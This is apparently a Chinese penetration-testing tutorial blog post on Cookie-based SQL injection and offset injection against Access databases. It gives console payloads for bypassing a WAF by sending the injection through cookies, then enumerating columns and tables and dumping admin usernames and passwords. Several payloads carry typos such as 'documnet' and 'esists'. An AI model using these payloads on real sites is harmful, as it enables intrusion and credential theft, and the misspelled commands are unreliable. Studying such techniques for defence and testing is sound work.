mysql偏移注入_网络安全从入门到精通 (第五章-1 )Access注入 — Cookie注入&偏移注入...

本文内容:Cookie注入简介

Cookie注入的核心

怎么修改Cookie

Access数据库注入介绍

Cookie注入具体流程

偏移注入使用场景

偏移注入具体流程

前言:数据库有很多:

Mysql、Access、Mssql、Oracle

不同的数据库,虽然语句类似,但是在渗透测试的时候是不同的。

1,Cookie注入简介:

Cookie:就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获得了管理员的Cookie,你可以无需密码直接登录管理。

访问网站,协议是:HTTP协议,HTTP协议它是无状态的。

无状态:就是它不知道是谁访问,所以就设置了Cookie,Cookie就相当于身份证,通过一串字符串代替。

Cookie它并不安全,没有绝对的安全,用户的体验性和安全是需要平衡的。

2,Cookie注入的核心:

在很多时候开发人员在开发的时候为了考虑到多种接收传参,在接收传参的时候,都是用很多种方式接收。

例如:

PHP中的$_REQUSE[]可以获取POST|GET|COOKIE传参。

如果说开发用了$_REQUSE来接收参数。

然后POST和GET传参被waf拦截了,我们就可以尝试Cookie传参,有可能waf没有对Cookie传参进行处理,,那样我们不就可以绕过。

$_REQUSE php版本低于5.4会接收Xookie传参,所以注入时,也可以先查询一下数据库版本。

3,怎么修改Cooke:

方法一:

使用burpsuite抓取数据包,添加一个Cookie字段在请求头里。

注意:Cookie传参值需要URL编码。

方法二:

用js来设置Cookie

按F12调出浏览器开发者工具,选择Console,打开浏览器的控制台,输入设置js的语句就可以了。

比如:documnet.cookie="id="+escape("xx")

escape:是一个编码函数,这个函数会进行一次URL编码。

方法三:

F12——Application——Cookies,直接双击修改。

4,Access数据库注入

Access数据库在判断回显点的时候,必须接一个表名,没有别的库,只有一个库名,不用考虑库名。

不知道表名:只能靠猜,不过有几个常用的表,比如admin、user、news、job。

Access数据库,没有系统自带表,想要获取表名和字段名,方法只有靠爆破。

账号和密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。

esists:这个函数就是用来检查表名是否存在,原理就是去检查子查询能否查询到数据,如果能,则返回True。

5,Cookie注入的流程:

例如:

获取admin表的账号和密码,账号和密码的字段名分别是username、password,输出点是2,3。

1.判断是否存在注入:

在URL栏中直接输入and 1=1 和and 1=2

如果被拦截了,我们就需要测试一下Cookie是否被拦截:

在浏览器控制台:输入js语句:

document.cookie="id="+escape("xx and 1=1")

document.cookie="id="+escape("xx and 1=2")

2.判断当前页面字段数:

document.cookie="id="+escape("xx order by 1")

3.判断想要获取数据的表名:

document.cookie="id="+escape("xx and (exists(select * from admin))")

4.查看输出点:

document.cookie="id="+escape("xx select 1,2,3 from admin")

5.判断字段名并输入账号和密码:

document.cookie="id="+escape("xx select 1,username,password from admin")

6,偏移注入使用场景:

在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够,又猜不到表名、字段名的情况下,我们可以使用偏移注入

像SQLMAP之类的工具实际上就是爆破字段的名字,但是如果字段名称比较奇葩,工具也就无可奈何了。

无法查询表名:强行爆破

无法查询字段名:偏移注入:纵然不知道表名,但是还是可以获取数据的。

用法:

admin.*就是admin表里所有的字段。

select * from admin

select admin.* from admin

这两句是一样的。

7,偏移注入的步骤(以Access为例):

1.判断注入点:

当在url中输入and 1=1和and1=2时,出现错误提示,说明Get传参被处理了,我们就需要看看Cookie传参是否没有被处理。

使用js代码在控制台判断。

document.cookie="id="+escape("xx and 1=1")

document.cookie="id="+escape("xx and 1=2")

2.order by 判断字段数:

documnet.cookie="id="+escape("xx order by 1")

3.判断表名:

documnet.cookie="id="+escape("xx and (esists(select * from admin))")

4.联合查询(判断输出点):

注意:

字段数相同

注入点的表的字段一定要大于查询的表。

top x取x条数据,一定要降序,才能达到limit的效果。

documnet. cookie="id="+escape("xx union select 1,2,3...... from admin")

5.获取表中列数(知道存在几列以及输出点):

document.cookie="id="+escape("xx union select 1,2,3......from admin")

6.开始偏移注入:

documnet.cookie="id="+escape("xx union select 1,2,admin.*, from admin")

注意:有的输出点可能在网上让一些东西所遮挡住了,所以我们要查看一下网页代码。

与君共勉:

在光芒万丈之前,

我们都要欣然接受眼下的难堪和不易,

接受一个人的孤独和偶尔的无助,

认真做好眼前的每件事,

你想要的都会有。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值